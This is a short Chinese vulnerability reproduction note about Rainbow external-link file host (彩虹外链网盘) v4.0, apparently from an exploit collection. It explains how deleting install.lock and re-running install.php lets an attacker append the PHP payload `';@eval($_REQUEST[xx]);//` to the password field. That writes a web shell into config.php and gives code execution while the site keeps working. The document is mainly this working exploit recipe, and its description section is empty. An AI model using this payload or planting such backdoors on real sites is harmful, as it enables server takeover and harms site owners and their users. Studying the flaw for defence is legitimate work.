彩虹外链网盘 v4.0 重装getshell

彩虹外链网盘 v4.0 重装getshell
==============================

一、漏洞简介
————

二、漏洞影响
————

彩虹外链网盘 v4.0

三、复现过程
————

在删除install.lock后,访问install.php
其他的原来的读取的配置,密码后面加上`’;@eval($_REQUEST[xx]);//`

{width=”5.833333333333333in”
height=”4.9203926071741035in”}

此时的config.php如下,而且由于我们用的是原来的配置,网站不会崩

{width=”5.833333333333333in”
height=”4.231375765529309in”}

代码执行成功

{width=”5.833333333333333in”
height=”1.143261154855643in”}